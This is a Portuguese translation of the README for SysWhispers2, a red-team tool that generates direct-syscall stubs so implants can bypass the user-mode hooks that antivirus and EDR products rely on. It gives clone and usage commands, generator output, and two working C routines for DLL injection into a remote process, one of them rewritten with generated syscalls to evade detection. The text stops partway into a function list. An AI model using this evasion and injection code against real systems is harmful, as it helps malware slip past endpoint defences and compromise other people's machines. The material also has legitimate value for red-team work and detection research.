
Evasião de AV/EDR via chamadas diretas ao sistema.
O SysWhispers ajuda na evasão gerando arquivos de cabeçalho/ASM que implantes podem usar para fazer chamadas diretas ao sistema.
Todas as chamadas de sistema principais são suportadas e arquivos gerados de exemplo estão disponíveis na pasta example-output/.
O uso é quase idêntico ao SysWhispers1, mas você não precisa especificar quais versões do Windows suportar. A maioria das mudanças está nos bastidores. Ele não depende mais das tabelas de syscall do @j00ru, e em vez disso usa a técnica de "ordenação por endereço de chamada de sistema" popularizada por @modexpblog. Isso reduz significativamente o tamanho dos stubs de syscall.
A implementação específica no SysWhispers2 é uma variação do código de @modexpblog. Uma diferença é que os hashes dos nomes das funções são aleatorizados a cada geração. @ElephantSe4l, que publicou essa técnica anteriormente, tem outra implementação baseada em C++17 que também vale a pena conferir.
O repositório original do SysWhispers ainda está ativo, mas pode ser descontinuado no futuro.
Vários produtos de segurança colocam hooks em funções de API no modo de usuário que permitem redirecionar o fluxo de execução para seus mecanismos e detectar comportamentos suspeitos. As funções em ntdll.dll que fazem as syscalls consistem em apenas algumas instruções de montagem, então reimplementá-las em seu próprio implante pode contornar a ativação desses hooks de produtos de segurança. Esta técnica foi popularizada por @Cn33liz e seu post no blog tem mais detalhes técnicos que valem a pena ler.
O SysWhispers fornece aos red teamers a capacidade de gerar pares cabeçalho/ASM para qualquer chamada de sistema na imagem do kernel principal (ntoskrnl.exe). Os cabeçalhos também incluirão as definições de tipo necessárias.
> git clone https://github.com/jthuraisamy/SysWhispers2.git
> cd SysWhispers2
> py .\syswhispers.py --help
# Exporta todas as funções com compatibilidade para todas as versões suportadas do Windows (veja example-output/).
py .\syswhispers.py --preset all -o syscalls_all
# Exporta apenas as funções comuns (veja a lista abaixo).
py .\syswhispers.py --preset common -o syscalls_common
# Exporta NtProtectVirtualMemory e NtWriteVirtualMemory com compatibilidade para todas as versões.
py .\syswhispers.py --functions NtProtectVirtualMemory,NtWriteVirtualMemory -o syscalls_mem
PS C:\Projects\SysWhispers2> py .\syswhispers.py --preset common --out-file syscalls_common
python syswhispers.py -p all -a all -l all -o example-output/Syscalls
. ,--.
,-. . . ,-. . , , |-. o ,-. ,-. ,-. ,-. ,-. /
`-. | | `-. |/|/ | | | `-. | | |-' | `-. ,-'
`-' `-| `-' ' ' ' ' ' `-' |-' `-' ' `-' `---
/| | @Jackson_T
`-' ' @modexpblog, 2021
SysWhispers2: Por que chamar o kernel quando você pode sussurrar?
Todas as funções selecionadas.
Concluído! Arquivos escritos em:
example-output/Syscalls.h
example-output/Syscalls.c
example-output/SyscallsStubs.std.x86.asm
example-output/SyscallsStubs.rnd.x86.asm
example-output/SyscallsStubs.std.x86.nasm
example-output/SyscallsStubs.rnd.x86.nasm
example-output/SyscallsStubs.std.x86.s
example-output/SyscallsStubs.rnd.x86.s
example-output/SyscallsInline.std.x86.h
example-output/SyscallsInline.rnd.x86.h
example-output/SyscallsStubs.std.x64.asm
example-output/SyscallsStubs.rnd.x64.asm
example-output/SyscallsStubs.std.x64.nasm
example-output/SyscallsStubs.rnd.x64.nasm
example-output/SyscallsStubs.std.x64.s
example-output/SyscallsStubs.rnd.x64.s
example-output/SyscallsInline.std.x64.h
example-output/SyscallsInline.rnd.x64.h
CreateRemoteThreadpy .\syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscalls
#include <Windows.h>
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
WriteProcessMemory(hProcess, lpBaseAddress, dllPath, strlen(dllPath), nullptr);
CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpBaseAddress, 0, nullptr);
}
#include <Windows.h>
#include "syscalls.h" // Importe o cabeçalho gerado.
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
HANDLE hThread = NULL;
LPVOID lpAllocationStart = nullptr;
SIZE_T szAllocationSize = strlen(dllPath);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
NtAllocateVirtualMemory(hProcess, &lpAllocationStart, 0, (PULONG)&szAllocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
NtWriteVirtualMemory(hProcess, lpAllocationStart, (PVOID)dllPath, strlen(dllPath), nullptr);
NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, lpStartAddress, lpAllocationStart, FALSE, 0, 0, 0, nullptr);
}
Usar a opção --preset common criará um par cabeçalho/ASM com as seguintes funções: